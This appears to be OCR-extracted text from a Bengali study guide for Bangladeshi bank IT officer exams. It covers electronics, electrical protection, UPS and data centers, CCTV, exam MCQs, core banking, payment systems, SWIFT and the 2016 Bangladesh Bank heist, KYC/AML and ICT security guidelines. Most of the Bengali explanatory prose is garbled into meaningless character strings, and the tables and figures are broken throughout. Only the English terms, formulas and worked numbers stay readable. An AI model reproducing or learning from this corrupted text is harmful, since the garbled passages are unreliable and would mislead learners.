Tulzad S: Series-parallel sif$6

Ry =4 Q8 R, =6Q parallel, 917 5 R3 = 3.6 Q) series; IFIFR 12 VI

Ry = 4%6/(4+6) = 2.4 Q= Raz =24 +3.6 =6 Q= 1=12/6=2A

VR3=2%3.6=7.2V; Vparallel =2 X 24 =48V > [, =4.8/4=12 A, 1, = 4.8/6 = 0.8 A (T 2 A )|

Sulgaet 3 Qo =4 T e e
10f6 PC x 200 W, tvfS=s 8 516t, itst 30 i = 10 x 0.2 kW x 8 x 30 = 480 kWh | &S unit 510 3t et =
$4,8001

52.2 AC “I1s™I], Power Factor 8 Three-Phase

AT 91T single-phase 230 V (&5fere @91 220 V), three-phase 400/415 V line-to-line, frequency
50 Hz1 AC-GS voltage 8 current-a3 &Y phase 21 (¢) AT I =G FITST ANt 71

ApparentS=VI(VA) | RealP=VIcos ¢ (W) | Reactive Q =V Isin ¢ (VAR) | S>=P*+Q?
Power factor=cos =P /S | Three-phase: P = V3 VI cos ¢
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Tulzad v: Power factor 3 three-phase f&5i1

() 230V, 10 A, PF0.8: S=2300 VA, P=2300 x 0.8 =1840 W, Q = 2300 x 0.6 = 1380 VARI
(¥) 415V three-phase, 20 A, PF0.8: P =1.732 x 415 x 20 x 0.8 = 11.5 kW|

N power factor T F3 FITGH T & current AT = SIF 51N, loss 8 TN IITT; capacitor
bank it PF SF© F41 =71

2.9 PN Junction Diode

Forward bias
Anode (A, P

Reverse leakage (pA)

0.7 V (Si) Vv
Cathode (K, N)

I (conventional) » A QG K
Breakdown Vgg

f5@ 52.5: Diode-a3 &SI (W) 8 V-1 (I3 (TItA)

faste o5 Officer IT 2026 (25105)

Explain the working principle of a PN junction diode. Draw its symbol and describe the difference
between forward bias and reverse bias.

FIAIS: P-type JfAIAIZITS majority carrier hole, N-type-a electron| 45 (&t it junction-a
electron N (/TS P-(3 8 hole P (At N-(® diffuse S 7ANE® 2371 HeeT junction-a3 g3 #iet [F7
AT ABT6 carrier-3y B (ofd TT7 — depletion region, T1F {e3-A151 (barrier potential) Si-S
217 0.7 V 8 Ge-(3 0.3 VI @3 15193 e I3 & Mt current 561td — 13 diode 9F A
(unidirectional) J3T6F VST FIST FCI| ASIF SA fora: fager = anode (P), Wit = cathode (N)|

ISER Forward bias Reverse bias

ST P—(+),N () P— (), N

Depletion P ]I 58Ul 3T

region

Barrier IR [SACRI L}

potential

Current Cut-in voltage (0.7 V) 9l 3T MA-BI o Y F$7 leakage (NA-PA, minority carrier) —
JITG (majority carrier) breakdown *I<g

Ik 43 9 (on switch) %I I (off switch)

BIERIE Rectifier, LED gietiet Zener regulator, photodiode, varactor
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Twirgct 8: Diode FIfHTBEA current

5V &e¥, 1 kQ @y 8 @6 Si diode forward bias-@ series: I= (5 - 0.7) / 1000 = 4.3 mA| Diode 61
S [ = 0 IR AT 5 V diode-9F TF TS|

Zener fAfi® reverse breakdown voltage-a et — voltage regulator
LED Forward bias-a =tett (GaAs, GaN) — indicator, display
Photodiode Reverse bias-4a =T 916t current — optical fiber receiver, Gis19
Schottky Metal-semiconductor, % drop (~0.3 V), &® switching — SMPS
Rectifier (bridge) 8ft diode, full-wave AC — DC — power supply, UPS charger

5.8 BJT: Cut-off, Active 8 Saturation

40 pA

30 pA

Active region: I =B I
20 pA

I;=10 pA

Cut-off (I = 0, I = 0)

5@ $2.2: Common-emitter NPN transistor-a3 output characteristic @ {5 =
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f3sts &= BB AME 2023

Describe cut-off, saturation and active region of operation of a transistor with diagram.

T@a: BJT-3 4G junction — Base-Emitter (BE) 8 Collector-Base (CB)| Qid bias St f$=6 w2k (foa
52.%):

cB
BE junction . . SE|
junction
Cut-off Reverse (Vgg <0.7  Reverse I5=0,Ic=0, Vcg = Vcc C4Te 36
V) (OFF)
Active Forward Reverse Ic = B Ig; I & Vg-FAzers Amplifier
Saturation Forward Forward Vcgaty = 0.2V, Ic SIS = Vc/Re, I < % 336 (ON)
Plg

Digital 51fF6 @ relay driver-a transistor cut-off « saturation-a 36 13 5tF; audio/RF amplifier-a
active BT TR (Q-point) bias FT =1

Tuigad ¢: Transistor (I SBTA?

Ve =10V, Re=1kQ, B = 1001

() 1g=50 JA=>Ic=5mA, Ve = 10-5x1=5V > 0.2 V = Activel

(%) Ig = 200 pA = Blg = 20 MA fiiteT Vg = 10 - 20 = =10 V — SI5/9T = Saturation; &S [¢ay = (10 -
0.2)/1k = 9.8 mAlI
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52.¢ JFET 8 MOSFET

faste o BB AME 2023

Explain the working principle of an n-channel JFET with various values of Vs and Vps.

F59: 9B n-type silicon IF (channel)-a3 43 AT Source (S) 8 Drain (D); 32 9T p* WL QF@ Gate
(G)1 Gate-channel PN junction 575X reverse bias 4T T (Vg < 0), I3 gate current 2T =y — JFET
95 voltage-controlled, unipolar fSo135 (8¢ electron I29 F¢I)|
1. Vgs = 0, Vpg €&l6: Channel 931 58T, I « Vg — @& Jro! A6 (ohmic region)|
2.Vgs =0, Vpg IITITAL: Drain &It reverse bias &f*1, 912 depletion region (T4 & 58T 30
channel 51 1 Vpg = |Vp| R0 drain &t channel & 3§ — pinch-offi O3 719 Vg TS I
S %7 ATS = [pgs (saturation region) — amplifier QYIS BCa|
3. Vgg A (CT9F -1, -2 V): 8Fo3 depletion 58T, channel 5% = 3% Vpg-(S pinch-off (Vbs(sat) =
Vs — Vp) @38 saturation current 3 Ip = Ipss(1 = Vs/Vp)l
4. Vgs = Vgs(off) = Vp: 7T channel depleted = Ip = 0 (cut-off)!
5. 93 @t Vpg: Avalanche breakdown — I 351 (TG fTo135 48 2@ |
ALUIIS BATEAY: Ings = 10 MA, Vp = -4V, Vo = -2V = Ip = 10(1 = (-2)/(-4)? = 10 x 0.25 = 2.5 mA;
pinch-off Vpg = -2 - (-4) =2 VI

ShOCkley: ID = IDSS 1- VGS / Vp)2 | BJT: IE = IB + Ic, B = IC/IB' a= IC/IE = B/(B+1)

IEEh BJT FET (JFET/MOSFET)

IBERR] Current-controlled (Ig) Voltage-controlled (Vgs)

Carrier Bipolar (electron + hole) Unipolar

Inputimpedance % 93 & (MOSFET-a 10'2 Q+)

Noise /S RS &=/ 3% N/ &

R Analog amplifier, driver CMOS logic, CPU, power switching (SMPS, UPS inverter)
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>2.Y Y355t G131 Fuse, MCB, MCCB, RCCB

fQsre ¥  Officer IT 2026 (25105)

Differentiate between a Fuse and a Miniature Circuit Breaker (MCB). Which one is more suitable for
modern office electrical installations and why?

ISRk Fuse MCB

FIEANS WS current-Q Set SfeaT I Overload-a bimetallic strip 1t (thermal), short circuit-
SiteT Y (heating effect) @ solenoid Bt (magnetic) — contact YTet I

ATRRART AL — INANS SS9 QU reset 1 W

Agerot I, ITCIF AN INATT f3fi® trip curve (B, C, D) — fAga

Switch Gl jf — ON/OFF 8 isolation

o

oo fofees = I circuit trip FECR 206 LT I

IBEIEIcf g rating-a3 Sid AR 3 Tamper-proof, sealed

N1 oI T8t f#, g Aeorsm st

YT WIHTE T MCB Soige, FI9: (5) fGeora 217 Y2093 reset — ATM, server, FISHBIEIT downtime
0; (2) G trip curve SRR IT I 8 OIF T561 0, (9) RCCB-F 5 NS (RCBO) earth
leakage (ATFS VYIS 55! I, (8) distribution board-a circuit-f$fEF isolation 8 THATTH 17T, ()
T fuse wire ST JfF @31

fQsre ¥ BSCS AME/AE 24.01.2026

(i) What is the main disadvantage of a fuse compared to a Circuit Breaker? (iii) You need to protect a
small heater rated at 2.4 kW connected to a 240 V single-phase supply. What is the minimum current
rating of the fuse you should use?

(i) 2= ST fuse AT JFIFATIAISN — AFAIF SITA (ST A fuse FAISNTS T, LA AST IF AT,
CPITIT 4TS 37, QIR 9 (&) rating-a3 fuse/SIF AR J1F A1 Circuit breaker I 1 I 8
reset T3 G|

(iii) Full-load currentI=P/V =2400/240 =10 Al

Fuse-a3 rating FIeIfRF current-a3 w147 &3 2o 21 — 35 10 A 3= FoIRS beTIR T3 (51
inrush T S5 voltage SSIRTNIE) ST SITeT (ACO ACF | ©13 10 A-9F 3 ©91tad standard w9 5o 2 :
#6f1s plug fuse 3A, 5 A, 13 A= 13 A fuse (MCB (e 16 A Type B)I 9s: rating = 1.25 x 1= 12.5A =
#IF38t standard JI|

ooy TF I sy

MCB (<100 A) Overload 8 short circuit Type B: 3-5 x I, (lighting, computer); C: 5-10 x I, (AC, motor-
(21B); D: 10-20 x I, (transformer, I motor)
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MCCB (100- OF3, IC (16 Adjustable trip; main incoming, DC power panel
2500 A)

RCCB/ ELCB Earth leakage — WIYI= Live 8 neutral-a3 current-ad 127 30 mA (TCIT JJ=F1) =CA trip

shock (It
RCBO Overload + leakage MCB + RCCB @31ty
SPD Lightning/surge HfSfI® voltage earth-a IR

52.4 Earthing (Grounding)

Tw: (5) @B TN fault current Ao TBTs “NSTT IEE shock ITF T, (R) protective device
(MCB/RCCB) %S trip T, (0) IGATS 8 surge (ATF TAGN 5T, (8) AWM IT AT TCHGT FAIAT 3
%3 reference voltagel
* IFIF: Plate earthing, pipe earthing, rod earthing, chemical earthing (F¥ GITT F5 (1Y) |
o %] (AIY: ST S < 5 Q; (TBT (61K, server room 8 (BfeTFY II&TN < 1 Q =157 914 31 Earth tester
(megger) fatg AN TS 37 — % G @14 TS|
* Neutral-earth voltage SIS 2 V-9 A6 Ir4te 37, @ 3t SK/ATM-9 SHIe1fISF restart 3@ (ot
10 20O A
* Lightning arrester 8 SPD SIeTmI earth pit-Q & FF, 7IF I pit bonding FJT =T (equipotential
bonding)!

5.t UPS, IPS, Generator 8 ATS

( Static bypass switch } ----------- 1

1
1
1
DC bus :

AC Mains Rectifier / Inverter Critical Load
230V Charger DC — AC Server, CBS, ATM
l Battery bank I

f5a v2.9: Online (double-conversion) UPS — (IG SIASTSIT inverter (AT 5T, B13 transfer time %=y

Transfer
time
Offline / Standby FreIRTE mains SR @IS, [Rge oite ~5-12ms a3 PC
inverter oIy
Line-interactive Standby + AVR (voltage f=ge) ~2-4 ms (=I5 *reT, network
rack
Online (double AC — DC — AC SIR99T; mains-a3 3] Ghecast . 0 ms (TG (77519, server,
conversion) s [foas ATM
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IPS, Generator 8 ATS

IPS (Instant Power Supply): IikIee &/5fero offline inverter — SRS square/modified sine
wave, switching delay =Ity; JifS-#1141% &= {35, iFQ server I @V IT FFIEHTHI G 7|
Generator + ATS: AI¥ (ATGIfGTT diesel generator; ATS (Automatic Transfer Switch) mains 5t
(It FTRIFTOII (FAGE generator-Q QIR fBE Q& mains-a T Generator BIe] 3O $0-90 (TFS
AT — 93 PGP UPS battery 27 FF 1 @9: Mains/Generator — ATS — UPS — IT load |
AVR/Stabilizer: 8¢ voltage %3 T, backup ™ 7

UPS rating (VA) = Load (W) / PF x (1.2-1.25 margin) | Backup time (h) = BatteryV x Ah xn/
Load (W)

Tulzadt u: UPS <1591 @ backup time

() @B =T server 8 network TG 1600 W, PF 0.8 = 1600/0.8 = 2000 VA; 25% margin = 2500 VA
= 3 kVA UPS|

() 95 12 V 100 Ah battery series-a = 24 V x 100 Ah = 2400 Wh; inverter efficiency 80%, zT'e 600 W
= backup = 2400 x 0.8 / 600 = 3.2 9Bt | (Battery =3 I TG discharge 71 33 depth of
discharge &t {25717 T 9T =078 F1)

52.5 (GBI GBIt 2INSTIF 3 Tier cafe
Tier (Uptime s
_( P Availability . Redundancy

Institute) downtime

Tier I 99.671% ~28.8 96t N GFF A, @A redundancy @3

Tier II 99.741% ~22 qB1 N+1 wfSfIe UPS/generator, 12 @363
(component)

Tier 111 99.982% ~1.6 GBI N+1, aFifss Concurrently maintainable — I% =1
ofey IS THOIHO

Tier IV 99.995% ~26 A5 2N / 2N+1 Fault tolerant — (ICFITAT AFF FHrO3

1T Bt

PUE (Power Usage Effectiveness) = GI15 facility power / IT equipment power (S%f 1.0; SItat =
1.2-1.5)

Twigad q: PUE @ Fieig
9B FIFT DC (1B 1500 kW BITH, T IT &11s 1000 kW = PUE = 1500/1000 = 1.5 — =r2fie &f$ 1 W

IT-3 T3 0.5 W Ffeig, UPS loss @ SITATT T11 Hot/cold aisle containment, precision AC (PAC), free
cooling 8 &8 UPS At PUE FITAT AT Server room SIoMTal MEgers 18-27 °C (ASHRAE) @3]

e [Aafae e =3
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32.50 FILFHF Physical Security 8 Peripheral

CCTV: Analog 1 IP

T Analog (HD-TVI/AHD) IP Camera

Cable Coaxial (RG-59), BNC connector; 2T1SI&I G5 UTP Cat5e/Cat6; POE-(S Q53 SITH (GHT 3
el ©IF (T siamese cable) IRRIE]

Recorder DVR (Digital Video Recorder) — f$f&a a4 NVR (Network Video Recorder) — N3
digital =7 encode (J (H.264/H.265)

Resolution  SI&E9® < 5 MP 4 MP-4K, fSf&BIT zoom, analytics (2, 991

2B)

IB[&NI] DVR-a3 14N ST @BSE, (FUT VMS-aQ QFIEs =t

RIBIEEN

BIINGA ST =T qQA #M14t, ATM booth, vault, cash counter

PoE standard: 802.3af = 15.4 W, 802.3at (PoE+) =~ 30 W, 802.3bt =~ 60/90 W (PTZ camera)| FITIFIF 454
dome ((So(R, FIGBF), bullet (IBTR), PTZ (IR T1), pinhole (ATM)1

Tulzad b: CCTV storage 5119

1615 IP camera, &fS$fS 4 Mbps, 24 961 @6, 30 foF T35 |

&ifS FeI1/fM= = 4 Mbps x 86,400 s = 345,600 Mb = 43,200 MB = 43.2 GB

16 JICIAT x 43.2 GB x 30 7 = 20,736 GB = 20.7 TB = RAID 5% NVR-a SS© 24 TB usable 14T &oo|
H.265 JR2IT FIACA AT EHF |

JITFA Printer 8 Input Device

fSorzs agfe T IR
Dot-matrix Pin %t ribbon-a WErS; carbon copy  FRSBIA passbook printer, multi-part voucher,
(impact) RICH FDR
Thermal SI9A-SEAAN BIsie, Hife AT =¥ ATM/POS slip, queue token, counter receipt
Laser Toner @ drum, %S, SHIF IR B, statement, 5%
Inkjet Fifera GHIG e =7 — T FH
MICR reader 1 FIfAcs (E-13B font) 2ot Sred < AfEFTeacT, BACPS-a = fFaifag
ATY
OCR/OMR Tt rwd / o et ¥, AT Lo
Biometric SIGTAS 7, Y4 Agent banking, eKYC, zif&t
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52.55 MCQ St

1. Analog CCTV FITHFT FALTIITS AYIFTS (FI9 cable I97° 37?
(F) UTP Cat6 (¥) Coaxial (RG-59)
(st) Optical fiber (=) USB

&g (4) — BNC connector-1% coax; IP camera-cs UTPI  Officer IT 2026 (25105)

2. T FIGBITT passbook 8 carbon-copy voucher FI9ITS FI printer SoTS?
() Laser (9) Inkjet
(51) Dot-matrix (%) Plotter

T@q: (1) — Impact printer ITeT (BT passbook 8 multi-part FISITST 21Tt Officer IT 2026 (25105) — Sriot

3. 9IS =T o8 FHITONT FOSIS @FS 3 767 FATS (&FIH camera SALS?

() Analog camera (%) IP camera
(sY) Web camera (%) Film camera

Taq: (¥) — IP camera + NVR/VMS|  Officer IT 2026 (25105) — Szt

4. Silicon diode-a7 cut-in voltage AT F9?
() 0.3V () 0.7V
(5N 1.2V @S5V

Tad: (4) — Ge-3 0.3 VI

5. Transistor 35, 236 (ON) RTIT FIF WABTA FIG FI?
() Cut-off (2 Active
(51) Saturation (2) Breakdown

&8<: (o) — 73 junction-3 forward, Vg = 0.2 VI

6. Amplifier fRTIta BJT (19 WBTH bias Fa1 77?
(=) Active (¢) Cut-off

(s) Saturation (90) Reverse active

Twaq: () — BE forward, CB reverse; Ic = BIgl

7. Fuse 19 JfSte Fter Fa?
(F) BT 2SI (¥) Current-a3 ST 2o
(sT) IS eI () AT 2o

Tad: (¥) — I°R ©Itsf fuse element 5IteT TS|

8. 3T motor 3t transformer-a3 Ntet &8 inrush TS &9 MCB curve?
(=) Type A () Type B
(1) Type C () Type D

T83: (7) — 10-20 x I,-4 trip S|
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9. NIt JI5FI9 T+ RCCB YIS 39 leakage current-A trip F3?
(F)3mA (¥) 30 mA
() 300 mA () 3A

T8 () — 30 mA sensitivity|

10. 19 UPS-4a7 transfer time *[73?
(=¢) Offline (9) Line-interactive
(s) Online double-conversion (=) IPS

Taq; () — (TG AN inverter (ATF B |

11. Power factor-ad 5%t (F1H16?
(F)Q/P (A)P/S
(s)S/P ®Q/S

T@d: (4) — Real power / Apparent power = cos ¢|

12. 1 kWh = 33 joule?
() 3.6k (%) 36 kJ
(s1) 3.6 MJ (1) 1000 |

e (5) — 1000 W x 3600 s = 3.6 x 108 1
13. Tier IV GBI G-BITAF availability Fo?

() 99.671% (¥) 99.741%
(57) 99.982% (9) 99.995%

TG (9) — I2T AT 26 NG downtime; fault tolerant (2N)1

14. JFET 3 4w fSo1zw?

(F) Current-controlled, bipolar (¥) Voltage-controlled, unipolar
(s7) Current-controlled, unipolar (9) Voltage-controlled, bipolar

TSR (¥) — Vs channel Fage 03, @Ffo9ra carrier|

15. IP camera-q fof$8 19 Itg @6 3T?
(F) DVR () NVR
(s1) VCR (21) KVM

Ted: (4) — Network Video Recorder; analog camera-3 =15 DVRI
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ST do — FILHFL RT3 AT I

Banking IT, Payment Systems & Bangladesh Context

T IR AT 2T I “FFIRF” (SHI9B Yo W8T 77 — fund transfer-a atomicity, ATM-a3
availability, payment gateway audit, ransomware, MitM | %ot f&fds <1951 General Knowledge (>0
F99) @ Focus Writing (12T So + 32tafEr do)-a J51fee-aiyf&s [Kaws =ity (SO 1T 2026: 59 Fgiew e
mefBR; Officer/SO IT 2026: Digital literacy 8 cashless; BB AP 2023: Technology in Financial Service
Industry)| Q3 ST S A S |

S9.5 Core Banking System (CBS)

CBS 3! (U ATSI bl Q6 ANTS A6 ST, (TN LI AT *TAT HNFTS6, (T 3 (TS A6
(AT (GO A | A TP (BT =Y, ATM I A3 B (AT [RTe1-BI307 1]t 911 (“any
branch banking”)| CORE *37f5t Wt Centralized Online Real-time Exchange R0t Iy A=

CBS-93 7fSe« Flor

Customer Information AR T3 AfFBRS, KYC B2y

(CIF)

Deposit (CASA, FDR) Current/Savings IS, (T S, v 251

Loans & Advances Ao NgF, S, cfasaa

General Ledger (GL) f2eTIasa, wif"<s End-of-Day (EOD) aif&ssn

Remittance, Trade LC, (I3 @WoI

Finance

Channel integration ATM switch, internet/app banking, NPSB, BEFTN, RTGS, MFS-a3 Tty

middleware/API STt

gl iefes CBS #ielr: Temenos T24 (ISNH 919 Temenos Transact), Oracle FLEXCUBE, Infosys Finacle;
JISAIMT FIATTOI ¢ofd CBS-8 %S =T (TN Leads Corporation-ad Bank Ultimus) | (&I 71 (FIHI6
DT I — ©F NI AN IFSATT, O3 AT ATt NS 1w Ao oy o [

g SNfFcosoa

Channel layer (Branch, ATM, App, Web) — Middleware/ESB/API gateway — CBS application server
— Database (S14199IS Oracle, RAC cluster) — Storage (SAN) ; NS DR site-A replication|

50,2 AT CIITTB 8 CTCHATHG FHTso N

I 1 Payment Systems Department (T SRSIT (P16 SKIPISTCT ATIBIAFT S| IIRATTHH
P IA1 2T ARIYER “Clearing House” — FIF SMISITIRF (AAI-ATSTIF §ors 1§ e
P YA beIfo FRANIF M5 21

fSioew sfefzst FhoT @ Iy
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BACH Bangladesh Automated
Clearing House

BACPS Bangladesh Automated
Cheque Processing System
(2050)

BEFTN Bangladesh Electronic Funds
Transfer Network (205%)

RTGS Real Time Gross Settlement
(205@)

NPSB National Payment Switch
Bangladesh (:05%)

Binimoy Interoperable Digital
Transaction Platform (IDTP)

Bangla SIS W=s© QR (&G

QR

Taka Pay O 16 9 (2029)

Raifs as=

I

Gross = AfS6 @ m WemreR {1 (RTGS); Net
f9o91fS (BEFTN, (53 fFaifI)1 RTGS-@ settlement risk SIReeta ¥, 57 ST et @ oigen arats

WFsT[ILE Fund Transfer-ag S

7B =e*t: BACPS @ BEFTN

(51 BeT 8 MICR ¢Sot i Steipg A< f5aife (cheque
truncation) — f5f&=FIe (5 SMI=-2%IN SIS =1

Batch-f$f&=s credit @ debit transfer — @, fSfotoS, @GN,
355t e, M seasi® o™it f9o91f$ (deferred net settlement)

A6 G WAMISI (gross) 8 SIeHfAF (real-time) Fo1fS;
TG WHT 3 GBI (ITT-6

JfSa 71T ATM/POS/internet banking-a3 stas
interoperability — =7 I7FT ATM (AT BIpT (OTeT, AFSIFIF
Siess{as fund transfer

7, MFS 8 PSP-9F W4y OFF ATIBHCH interoperable o

a6 QR T T INLH/MFS 19t (AT (AP (ITT-6

T (GOl 16 @ NPSB-T senes; Ronf*1 s 5 8 werg-
RSger st

= M8 ST 17 @ 96 2sHr @I

Atomicity: Debit 8 Credit — YIBIR 31, NACS! 9HHS T
T 78 70 rollback/reversal — A-a3 BIssl (F©

Bank X CBS

[App/Branch | ’ A-a3 2511 Debit

P

NPSB / BEFTN
/ RTGS

Bank Y CBS
B-4a3 311 Credit SMS aIert

Bangladesh Bank
Y-93 BeIfs 211 settlement

5@ bo.b: WWsITS fund transfer @ Bangladesh Bank-4 settlement
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fasts &= Bscs AME/AE 24.01.2026

Why is "Atomicity" specifically critical for an Inter-Bank Fund Transfer?

Atomicity (ACID-a3 A) WItw @fG transaction-a3 317 IS OF 6 WSIOT AFF — 7T T4 7
(commit), TICST g3 33 7 (rollback)|
TSI transfer-Q WSS 76 FIGT ACF: (5) (2AFF INF A-9F I @TF debit, (R) 2191 ICF B-9F
2 credit — @3R @ it foF AfSS7 7 (GBI, ML NPSB/BEFTN 8 (GG
& Reigeia osfE:
* Debit G 217 (FBSTI fBF T A1 ITFT ANSTF TRSA =T BIFT “2RCA” TR — A-93F AR
IO (5177 5@ B M, S Wgr 8@ :WifF S|
* STEBIG XA (credit AR, debit TTIM) A[IFF S — B! “JIfR” 2T T, IR @O 8
Bangladesh Bank-a3 settlement &I =1 (reconciliation failure)|
o OIS B Tifvw =BT distributed transaction =St — Two-Phase Commit (2PC) It 5@y
FMf&FT reversal/compensating transaction, transaction log 8 unique reference (idempotency)
facy fAf*o© T2 77 (@7 @3 transfer 717 71 7T
o g 8 Wiz wr: afSft @wo audit trail-a 5o @ sisfSeyef 2=ere =7

9.0 FIEG, ATM, POS 8 fSf&GBI vritas

ATM (Automated Teller Machine): Card reader, PIN pad (EPP — encrypting PIN pad), cash dispenser,
receipt printer, GG ATM switch-93 STt ISO 8583 IRSIT CIISITRIST | JIRFATHCT AN ATM 1] 57 ANZ
Grindlays Bank (55%3)1 CDM — Cash Deposit Machine; CRM — Cash Recycling Machinel

POS (Point of Sale) terminal: (MBI FIG (TG, Acquirer 7S BINAIA TR IR

EMV chip (Europay, Mastercard, Visa): SsA{63 SEIRR ey Farem — oifS @ e st
cryptogram ¢ofF ¢d, ©13 card cloning/skimming 341 Contactless (NFC) 3168 EMV-fofass|

Card scheme: Visa, Mastercard, American Express, UnionPay, JCB; (#IITT Taka Pay | 106 434: Debit,
Credit, Prepaid|

519 o1 (four-party model): Cardholder — Merchant — Acquirer (SIT6G6R J51F) — Card scheme —
Issuer (FIEHAF IFF) |

Internet 8 App banking: 2FA/OTP, device binding, transaction limit, session timeout 4TS 1H
fRareret Rz

Agent banking: IJ5FT *ITAT BIGT piefofes QTewoa I ST IARFR GIRT (Bank Asia 2058 STt &9
B )| Sub-branch-8 W wS$& ISz

MFS (Mobile Financial Services): bKash (BRAC Bank-a3 sTRfsif&wfd), Rocket (Dutch-Bangla Bank-a3
CTIRIZS IefFL; (MOIF AT GRS PR 2005), Nagad (It OIF [Reres fefese wnffs =),
Upay, Tap 3@5ifi| Bank-led NtGet: MFS (-1 918 T S SRIRSRg srane

9.8 (TG (SIBSTH

AR NCHB (3-FHIT STI3G) 8 IR (FHSAIHET W4y [Arom FargoIpISt; F16, MFS 8 internet banking
(ITTB &2 I | IRATWET &6feio PSP/gateway: SSLCOMMERZ, shurjoPay, aamarPay, PortWallet 3951w
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@ SICIVER WY (TLS a7f&Febs, 16 (@6t tokenized) —

Customer Merchant Payment Acquirer Visa/MC/ Issuer
Browser/App | - Website Gateway (PSP) [ - Bank < - N - Bank

« @ Approve/Decline + 3-D Secure OTP HI513; @ #Itd settlement

PCI-DSS: 16 (BBT ©g PSP/ANSTHA 191 SARTITT; WITH=6 16 999 (7l =T (hosted payment page)

5@ 5.3 (OITTG (IBSTFT NI WA FG (TG

fQsts & BB AME 2023

A bank has association with two different service providers as their payment gateways. The bank hires Mr.
X to audit the payment gateway based on risk and threat detection. Which possible scenarios Mr. X will
face?

WSt @ AfAfRfS/JifF et 2R Faa=:

1. Data security 8 PCI-DSS compliance: 73 (2Te13%193 5 PCI-DSS Fifowicas? F16 w6t (PAN, CVV)
ST 2067 B, tokenization 8 QFf&# (TLS 1.2+, at-rest encryption) Sty A1 CVV ST
i

2. Authentication 3 fraud risk: 3-D Secure/OTP Jigroryei<s fF41; velocity check, SRreIi{< (M=
Ar&HI9 (fraud scoring), card testing attack, chargeback-a3 21

3. Integration 3 API fR@i9fat: J51:F «— gateway API-(® mutual TLS, API key/secret J351, IP
whitelisting, request signing (HMAC), callback/IPN URL &ilf 41 (payment status tampering)
qig|

4. Man-in-the-Middle 3 phishing: et (?It975 (#fer, DNS spoofing, Je certificate|

5. Reconciliation 3 settlement risk: gateway-a3 RS, ICFIT CBS @ WTHTHA X571 ey fFa;
A (MATAT i7G settle 71 28 (AW, double charging!

6. Availability 8 BCP: SLA (uptime), 96 gateway B8 (1 S36C failover, DR #ifFg=1, DDoS
Nekal

7. Third-party/vendor risk: 53 (ATSI3TIRT [rorar W1 o7 3 yierow @3 JfF tofF 3; pfots
audit right, incident reporting JIIRI4FO!, (GBI (FIATT 73 (data localization)|

8. Access control 8 logging: admin #IItte MFA, least privilege, GG TIPS (73 <A1, A5t
TR 3 SIEM-9 AT |

9. Regulatory compliance: Bangladesh Bank-a3 (?It76 5036 @ ICT Security RTif*=et, AML/CFT
(TR W), (i wrfecarst fAeifa|

10. Vulnerability 8 penetration testing: SQL injection, XSS, insecure direct object reference,
outdated componentl

TAIFA: AG6 2ATSE JHF likelihood x impact T @f6: = risk register, findings 8 FRNEATAS
TN (timeline 31R) f{ot T3
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Sv.¢ SWIFT 8 ISO 20022

* SWIFT = Society for Worldwide Interbank Financial Telecommunication — IRFSTAIT T WSGISF
fARrm ISt SAMIF-AMITAI FOSTIF (G151 FRTeT 2ATSI 71, oI5 Ra=I=1 ATST; BIwt T
correspondent/nostro fRSTIRT W) | ST 7T (@ererar, 2fS3r s5qul

e BIC/SWIFT code: b T 5> 354 = Bank code (4) + Country code (2) + Location (2) + Branch (3, @f%&3)I

o AT MT ST MT103 (9FF a1=F credit transfer), MT202 (I71-§-351eF), MT700 (LC 3577) | 794 ISO
20022 (MX, XML-fSfSF, 15 (b1, SItat AML f3RR) — SWIFT cross-border ¢ttt MT (At 1SO 20022-
Q YT FER|

® SWIFT CSP (Customer Security Programme) — 054-G3 RINAIF 2 BIc]; STU1) FIRISTANS IO P
fRrorat fAuger s 231

50.Y 205V FITAF ILATT [T TS §fF — &1 BifS

A% fReaa

W 8-¢ (FHFAMF 2050 (JTAOIT AO-BFIF; IRAWE THIRF 35, FO3TF A=W QIR ez
B 7T 36 — saft «iffsigo)|

P TERA: JIFIRAT AT LI (G STE malware IFHTT SWIFT credential 71T F¢F Federal
Reserve Bank of New York-& et It RN (A veft Tiet (oit=6 o=t «iidT (217 56
e Terw) | @3 W oft St 77 — G Yo Fifeww werg: by e RFfesnama RCBC 1 (9
TR AT HNE1E) AR 20 e fesrg — rEft e Tty I g (“fandation”) I
B AT 3 (FIS A |

@I malware SWIFT Alliance Access TFESTIRT (@6 AARIIST FI QIR FTHICHHA &6 I3 AN,
NS FHFSIA TS (B A AT | TP TS TF 9F Ty T& (FIIT-MER Lazarus Group- vl FE|
st SWIFT SIS Setmt (segmented) (ABSIITS 4T, #IfGIEt access control 8 MFA; 28xQ A6
(SOC); TBI/RFIoM (FHSIF T I (I, (M FIFA reconciliation; incident response g,
SWIFT CSP {1971

dv.q KYC, e-KYC 8 AML/CFT

e KYC (Know Your Customer): iR (411 19T S 26, M1, o, SIemg ©est 1518 a3g Jifs-
fofes @ifdFa<r (low/high risk)l

* e-KYC: NID (GBI I A1 [613, 2f/biometric Sifeicy fefebifar f2sma catett — BFIU-93 e-KYC
RTafiet (205%) ST Simplified (9 i) @ Regular e-KYC|

e AML/CFT: Anti-Money Laundering / Combating the Financing of Terrorism| fA@<s: BFIU
(Bangladesh Financial Intelligence Unit)| SI134: WfReroifRe afStaig Ssw 2052, TAMREIR W37 20051
MFE CTR (Cash Transaction Report) 8 STR/SAR (Suspicious Transaction/Activity Report) &t fits
| WFGTOF FmS: FATF

o MifReToifdk-uF S «io: Placement (S0t Wi 98I 2ATI#N) — Layering (I2 GTHMH S&F FIICAT) —
Integration (3% W fRGII (F19)|
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>o.b fAEHS FISITH: BB ICT Security Guideline 8 PCI-DSS

JIEATH PR RT3 HWIAF 2AfSHIF &5 ICT Security Guideline TfF T (AT 2050; T aFIIFIF
TSN — T ALEI I I STIIANRCG TR ) | o7 CHaTe:

cFa I RO (STIIALTH)

IT Governance QrS-wgeae ICT |fS, IT Steering Committee, ©918 7Ifrg I67

IT Risk Management Fafse Jf<s e, risk register

Access Control oS IRRIFFINT Wemr ID, least privilege, #M8TG S, privileged account-ad

g @ 751, MFA
Data Center & Operations rfermre Rarera, «ifF= Rage, st IS 8 A7FzF A9t

BCP & DRP Business Continuity Plan, Stestifeiseitg ==t DR site, fA=f¥s DR drill
Change & Incident SIS change process, [Aaterat g6 fReonfBe 8@ aifStaEa
Management

Alternative Delivery Channel ATM, internet/mobile banking-a 2FA, GTAm= 51, @afdre=

Outsourcing 8 Vendor §f& s fAarerst *15, audit right, SLA
IS Audit Rfic WersAie 8 AT wzas wies

CIITS “Superuser” 2SS It [A17® v IgF@ret 71 28T Weot policy/compliance-f$f$F & (BSCS AME/AE
24.01.2026) fAarerer sty [RSIR® Wity — T\ ST Access Control 8 Operations GFa Stgd FFA|

